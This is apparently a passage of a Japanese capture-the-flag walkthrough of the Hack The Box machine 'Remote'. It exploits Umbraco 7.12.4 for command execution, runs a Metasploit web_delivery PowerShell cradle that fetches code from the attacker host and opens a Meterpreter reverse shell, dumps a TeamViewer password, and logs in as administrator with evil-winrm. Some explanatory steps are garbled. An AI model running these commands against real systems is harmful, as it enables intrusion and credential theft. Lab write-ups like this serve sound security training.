Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (2.31.0)
Requirement already satisfied: soupsieve>1.2 in /usr/lib/python3/dist-packages (from beautifulsoup4->-r requirements.txt (line 1)) (2.4.1)

(htb_remote) ┌──(x42s㉿kali)-[~/Documents/Umbraco-RCE]
└─$     python3 exploit.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c powershell.exe -a 'hostname; pwd; whoami'
remote

iis apppool\defaultapppool
Path                       
----                       
C:\windows\system32\inetsrv

Metasploitで侵入

Metasploit Framework(特にMetasploit6)を使用して、Umbraco CMS 7.12.4の脆弱性を利用する方法を以下にステップごとに説明します。

Metasploitを起動

ターミナルを開き、以下のコマンドを実行してMetasploitを起動します。


(htb_remote) ┌──(x42s㉿kali)-[~/Documents/Umbraco-RCE]
└─$ msfconsole  

     .~+P``````-o+:.                                      -o+:.
.+oooyysyyssyyssyddh++os-`````                        ```````````````          `
+++++++++++++++++++++++sydhyoyso/:.````...`...-///::+ohhyosyyosyy/+om++:ooo///o
++++///////~~~~///////++++++++++++++++ooyysoyysosso+++++++++++++++++++///oossosy
--.`                 .-.-...-////+++++++++++++++////////~~//////++++++++++++///
                                `...............`              `...-/////...`

                                  .::::::::::-.                     .::::::-
                                .hmMMMMMMMMMMNddds\...//M\\.../hddddmMMMMMMNo
                                 :Nm-/NMMMMMMMMMMMMM$$NMMMMm&&MMMMMMMMMMMMMMy
                                 .sm/`-yMMMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMMh`
                                  -Nd`  :MMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMMh`
                                   -Nh` .yMMMMMMMMMM$$MMMMMN&&MMMMMMMMMMMm/
    `oo/``-hd:  ``                 .sNd  :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMm/
      .yNmMMh//+syysso-``````       -mh` :MMMMMMMMMM$$MMMMMN&&MMMMMMMMMMd
    .shMMMMN//dmNMMMMMMMMMMMMs`     `:```-o++++oooo+:/ooooo+:+o+++oooo++/
    `///omh//dMMMMMMMMMMMMMMMN/:::::/+ooso--/ydh//+s+/ossssso:--syN///os:
          /MMMMMMMMMMMMMMMMMMd.     `/++-.-yy/...osydh/-+oo:-`o//...oyodh+
          -hMMmssddd+:dMMmNMMh.     `.-=mmk.//^^^\\.^^`:++:^^o://^^^\\`::
          .sMMmo.    -dMd--:mN/`           ||--X--||          ||--X--||
........../yddy/:...+hmo-...hdd:............\\=v=//............\\=v=//.........
================================================================================
=====================+--------------------------------+=========================
=====================| Session one died of dysentery. |=========================
=====================+--------------------------------+=========================
================================================================================

                     Press ENTER to size up the situation

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Date: April 25, 1848 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%% Weather: It's always cool in the lab %%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Health: Overweight %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%% Caffeine: 12975 mg %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%% Hacked: All the things %%%%%%%%%%%%%%%%%%%%%%%%%%%%%
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

                        Press SPACE BAR to continue

       =[ metasploit v6.3.25-dev                          ]
+ -- --=[ 2332 exploits - 1219 auxiliary - 413 post       ]
+ -- --=[ 1382 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Tired of setting RHOSTS for modules? Try 
globally setting it with setg RHOSTS x.x.x.x
Metasploit Documentation: https://docs.metasploit.com/

msf6 > 

しばらくすると、Metasploitのプロンプトが表示されます。

適切なExploitモジュールの検索

Umbraco CMS 7.12.4の脆弱性をターゲットにするExploitモジュールを検索します。


msf6 > search umbraco

Matching Modules                                                                                                                                                                                                                   
================                                                                                                                                                                                                                   

   #  Name                                      Disclosure Date  Rank       Check  Description                                                                                                                                     
   -  ----                                      ---------------  ----       -----  -----------                                                                                                                                     
   0  exploit/windows/http/umbraco_upload_aspx  2012-06-28       excellent  No     Umbraco CMS Remote Command Execution                                                                                                            

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/umbraco_upload_aspx                                                                                                                 

msf6 > Interrupt: use the 'exit' command to quit
msf6 > 

3. Exploitモジュールの使用

最も関連性の高いexploitモジュールを使用するように設定します。この例では、該当するexploitモジュールが見つかったと仮定して、その名前をexploit/platform/module_nameとします。実際の名前に置き換えてください。


use exploit/multi/script/web_delivery

4. オプションの設定

Exploitに必要なオプションを設定します。


set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.14.5
set srvhost 10.10.14.5
  1. set target 2 :
    • このコマンドは、web_deliveryというMetasploitのモジュールを使用する際に、どのターゲットを攻撃するかを指定するためのものです。ここでの2は特定のOSやアプリケーションを指します。
  2. set payload windows/x64/meterpreter/reverse_tcp :
    • このコマンドは、攻撃時に使用するペイロードを設定します。この場合、reverse_tcpペイロードを使ってWindows x64ターゲットにMeterpreterセッションを開設することを意味しています。
  3. set lhost 10.10.14.5 :
    • このコマンドは、リバース接続時の攻撃者のIPアドレスを設定します。
  4. set srvhost 10.10.14.5 :
    • このコマンドは、ペイロードを配信するためのサーバーのIPアドレスを設定します。
  5. exploit :
    • web_deliveryモジュールを実行して攻撃を開始します。

5. Exploitの実行

すべてのオプションを正しく設定したら、exploitを実行します。


exploit

6. セッションの管理

成功すれば、ターゲットマシンのシェルが取得できます。Metasploitはこの新しいセッションを管理します。セッションのリストを表示するには、以下のコマンドを使用します。


sessions

セッションに接続するには、以下のように指定のセッションIDを使用します。


sessions -i 1

msf6 exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/script/web_delivery) > 
[*] Started reverse TCP handler on 10.10.14.5:4444 
[*] Using URL: http://10.10.14.5:8080/CPFT87
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAB1AGUARgBNAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHUAZQBGAE0ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJAB1AGUARgBNAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4ANQA6ADgAMAA4ADAALwBDAFAARgBUADgANwAvADIAdwAzAHUARQB3AGwAWQBPACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADQALgA1ADoAOAAwADgAMAAvAEMAUABGAFQAOAA3ACcAKQApADsA
[*] 10.10.10.180     web_delivery - Delivering AMSI Bypass (1389 bytes)
[*] 10.10.10.180     web_delivery - Delivering Payload (3675 bytes)
[*] Sending stage (200774 bytes) to 10.10.10.180
[*] Meterpreter session 1 opened (10.10.14.5:4444 -> 10.10.10.180:49771) at 2023-09-10 21:54:28 +0900
se
search    services  sessions  set       setg      
msf6 exploit(multi/script/web_delivery) > sessions 

Active sessions
===============

  Id  Name  Type                     Information                          Connection
  --  ----  ----                     -----------                          ----------
  1         meterpreter x64/windows  IIS APPPOOL\DefaultAppPool @ REMOTE  10.10.14.5:4444 -> 10.10.10.180:49771 (10.10.10.180)

msf6 exploit(multi/script/web_delivery) > sessions 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : REMOTE
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 0
Meterpreter     : x64/windows
meterpreter > pwd
C:\windows\system32\inetsrv

meterpreter > dir
Listing: C:\Users\Public
========================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040555/r-xr-xr-x  0     dir   2020-02-20 05:03:50 +0900  AccountPictures
040555/r-xr-xr-x  0     dir   2020-02-20 16:14:59 +0900  Desktop
040555/r-xr-xr-x  4096  dir   2020-02-20 05:03:20 +0900  Documents
040555/r-xr-xr-x  0     dir   2018-09-15 16:19:03 +0900  Downloads
040555/r-xr-xr-x  0     dir   2018-09-15 16:19:03 +0900  Libraries
040555/r-xr-xr-x  0     dir   2018-09-15 16:19:03 +0900  Music
040555/r-xr-xr-x  0     dir   2018-09-15 16:19:03 +0900  Pictures
040555/r-xr-xr-x  0     dir   2018-09-15 16:19:03 +0900  Videos
100666/rw-rw-rw-  174   fil   2018-09-15 16:16:48 +0900  desktop.ini
100444/r--r--r--  34    fil   2023-09-10 12:56:58 +0900  user.txt

meterpreter > cat user.txt

1はセッションIDです。実際のIDに置き換えてください)

これで、Umbraco CMS 7.12.4の脆弱性を利用して、ターゲットマシンにアクセスする方法が完了しました。

リバースシェルの実行


(htb_remote) ┌──(x42s㉿kali)-[~/Documents/Umbraco-RCE]
└─$ python3 exploit.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c powershell.exe -a 'powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJAB1AGUARgBNAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAHUAZQBGAE0ALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJAB1AGUARgBNAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4ANQA6ADgAMAA4ADAALwBDAFAARgBUADgANwAvADIAdwAzAHUARQB3AGwAWQBPACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADQALgA1ADoAOAAwADgAMAAvAEMAUABGAFQAOAA3ACcAKQApADsA';
  1. python3 exploit.py :
    • exploit.pyというPythonスクリプトを実行します。
  2. [object Object] :
    • ターゲットのユーザー名としてadmin@htb.localを使用します。
  3. -p baconandcheese :
    • ユーザーのパスワードとしてbaconandcheeseを使用します。
  4. ' :
    • 攻撃対象のURLやIPアドレスを指定します。
  5. -c powershell.exe :
    • ターゲットにコマンドを実行させるために、powershell.exeを使用します。
  6. -a 'powershell.exe -nop -w hidden ...' :
    • 実際にターゲットに実行させるコマンドを指定します。この場合、Base64エンコードされたPowerShellスクリプトをデコードして実行させることを意図しています。このスクリプトは、前述のMetasploitのweb_deliveryモジュールで生成されたものです。

利用(Exploitation)

特権昇格(Privilege Escalation)

特権昇格の可能性を探るためには、異常な振る舞いや脆弱性が知られているソフトウェアを特定することが一般的です。提供されたディレクトリのリストから、次のポイントに注目すると良いでしょう:

  • 旧いソフトウェア: 古いバージョンのソフトウェアは、新しいバージョンでは修正されている脆弱性を持つ可能性があります。
  • サードパーティのソフトウェア: Microsoftの公式のアプリケーションよりも、サードパーティ製のソフトウェアの方が脆弱性が存在する可能性が高いです。

上記のリストから、以下の項目が特権昇格の可能性の観点から興味深いです:

  • TeamViewer: TeamViewerはリモートアクセスツールとして非常に人気がありますが、古いバージョンや特定の設定は脆弱性を持つ可能性があります。TeamViewerのバージョンを確認し、既知の脆弱性がないかを調査すると良いでしょう。
  • Microsoft SQL Server: こちらもバージョンによっては脆弱性が存在する可能性があります。特に、誤って公開されている認証情報やミスコンフィグがあると、特権昇格のチャンスが増えます。

    TeamViewerをターゲットとして特権昇格を試みる場合、以下の手順を参考にしてください。

1. 環境のセットアップ

まず、Metasploit Framework (MSF) を起動します。


meterpreter > pwd
C:\Program Files (x86)
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/script/web_delivery) > sessions

Active sessions
===============

  Id  Name  Type                     Information                          Connection
  --  ----  ----                     -----------                          ----------
  1         meterpreter x64/windows  IIS APPPOOL\DefaultAppPool @ REMOTE  10.10.14.5:4444 -> 10.10.10.180:49771 (10.10.10.180)

msf6 exploit(multi/script/web_delivery) > 

2. TeamViewerの脆弱性を検索

MSFには多数のexploitが用意されています。TeamViewer関連のexploitを検索します。


msf6 > search teamviewer

Matching Modules
================

   #  Name                                                  Disclosure Date  Rank    Check  Description
   -  ----                                                  ---------------  ----    -----  -----------
   0  auxiliary/server/teamviewer_uri_smb_redirect                           normal  No     TeamViewer Unquoted URI Handler SMB Redirect
   1  post/windows/gather/credentials/teamviewer_passwords                   normal  No     Windows Gather TeamViewer Passwords

Interact with a module by name or index. For example info 1, use 1 or use post/windows/gather/credentials/teamviewer_passwords

Metasploitのsearchコマンド

Metasploit Framework(以下MSF)はペネトレーションテストツールです。searchコマンドはMSF内のモジュールを検索するためのコマンドです。この場合、"teamviewer"というキーワードでモジュールを検索しています。

表の見方

上記の結果は、MSFに含まれる"teamviewer"に関連するモジュールのリストです。

  • #: モジュールのインデックス番号。特定のモジュールを選択する際に使用します。
  • Name: モジュールの名前。この名前を使用してモジュールをロードしたり詳細情報を表示したりします。
  • Disclosure Date: 脆弱性が公開された日付。この情報は特定のモジュールには表示されないことがあります。
  • Rank: モジュールの信頼性を示すランク。"excellent"から"low"までの範囲で評価されます。
  • Check: このモジュールがターゲットが脆弱性を持っているかどうかを確認する機能を持っているかどうか。"Yes"なら持っていて、"No"なら持っていません。
  • Description: モジュールの簡単な説明。
  • リスト内容の詳細

  1. モジュール0: TeamViewer Unquoted URI Handler SMB Redirect
    • これはauxiliaryモジュールであり、攻撃を行うものではなく、情報を収集するか、特定の状況を作り出すためのものです。
    • この具体的なモジュールは、TeamViewerのURIハンドラの脆弱性を利用して、SMBリダイレクトを作成するものです。
  2. モジュール1: Windows Gather TeamViewer Passwords
    • これはpostモジュールで、ペネトレーションテストの後段階、すなわち既にターゲットにアクセスしている状態で利用されるものです。
    • このモジュールは、Windowsマシン上のTeamViewerのパスワード情報を収集するためのものです。

このコマンドの出力を確認して、使用可能なexploitを特定します。

3. 選択したexploitの使用

選択したexploitを使用するためのコマンドを入力します。


use post/windows/gather/credentials/teamviewer_passwords

ここで[exploit_path]は、前のステップで見つけたexploitのパスです。

4. オプションの設定

exploitには、正常に動作するためのいくつかのオプションが必要です。これらのオプションを設定します。


msf6 post(windows/gather/credentials/teamviewer_passwords) > show options

Module options (post/windows/gather/credentials/teamviewer_passwords):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   SESSION                        yes       The session to run this module on
   WINDOW_TITLE  TeamViewer       no        Specify a title for getting the window handle, e.g. TeamViewer

このコマンドは、設定が必要なオプションのリストを表示します。必要に応じて各オプションを設定します。


msf6 post(windows/gather/credentials/teamviewer_passwords) > set session 1
session => 1

Metasploitのshow optionsコマンド

Metasploit Framework(以下、MSF)内で、特定のモジュールを使うときには、そのモジュールに必要な設定やオプションを知る必要があります。show optionsコマンドは、選択中のモジュールの利用可能なオプションとその現在の設定を表示するためのコマンドです。

表の見方

  • Name: オプションの名前。この名前を使って、オプションの値を設定します。
  • Current Setting: そのオプションの現在の設定値。
  • Required: そのオプションが必須かどうか。"yes"なら必須で、"no"ならオプションです。
  • Description: そのオプションの説明。何のためのオプションなのか、どのような値を期待しているのかを示しています。

    表内容の詳細

    1. SESSIONオプション :
  • このオプションは、モジュールを実行するセッションを指定するためのものです。ペネトレーションテスト中に複数のセッションがある場合、どのセッションでこのモジュールを実行するかを指定する必要があります。
  • Requiredが"yes"になっているので、このオプションは必須です。
  • Current Settingが空白なので、このオプションはまだ設定されていません。
    1. WINDOW_TITLEオプション :
  • このオプションは、特定のウィンドウのタイトルを指定するためのものです。このモジュールは、特定のウィンドウタイトルを持つウィンドウを探して、そのウィンドウから情報を収集します。
  • Requiredが"no"なので、このオプションは必須ではありません。しかし、特定のウィンドウタイトルを指定することで、情報収集の精度を向上させることができます。
  • Current Settingは"TeamViewer"となっているので、このモジュールはデフォルトで"TeamViewer"というタイトルを持つウィンドウを探します。

5. 脆弱性の利用

全てのオプションが正しく設定されたら、exploitを実行して脆弱性を利用します。


msf6 post(windows/gather/credentials/teamviewer_passwords) > exploit

[*] Finding TeamViewer Passwords on REMOTE
[+] Found Unattended Password: !R3m0te!

(base) ┌──(x42s㉿kali)-[~]
└─$ sudo gem install evil-winrm
[sudo] x42s のパスワード:
^[[6~^[[6~Fetching multi_json-1.15.0.gem
Fetching httpclient-2.8.3.gem
Fetching nori-2.6.0.gem
Fetching builder-3.2.4.gem
Fetching rubyntlm-0.6.3.gem

evil-winrm -u administrator -p '!R3m0te!' -i 10.10.10.180

(base) ┌──(x42s㉿kali)-[~]
└─$ evil-winrm -u administrator -p '!R3m0te!' -i 10.10.10.180

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> 

*Evil-WinRM* PS C:\Users\Administrator\Documents> dir

    Directory: C:\Users\Administrator\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        2/19/2020   4:26 PM                SQL Server Management Studio
d-----        2/20/2020  12:05 AM                Visual Studio 2017

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> dir

    Directory: C:\Users\Administrator

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        2/19/2020   3:03 PM                3D Objects
d-r---        2/19/2020   3:03 PM                Contacts
d-r---        2/20/2020   2:41 AM                Desktop
d-r---        2/19/2020   4:26 PM                Documents
d-r---        2/23/2020   1:22 PM                Downloads
d-r---        2/19/2020   3:03 PM                Favorites
d-r---        2/19/2020   3:03 PM                Links
d-r---        2/19/2020   3:03 PM                Music
d-r---        2/19/2020   3:03 PM                Pictures
d-r---        2/19/2020   3:03 PM                Saved Games
d-r---        2/20/2020  12:45 AM                Searches
d-r---        2/19/2020   3:03 PM                Videos

*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir

    Directory: C:\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         9/9/2023  11:56 PM             34 root.txt

*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt

コメント

タイトルとURLをコピーしました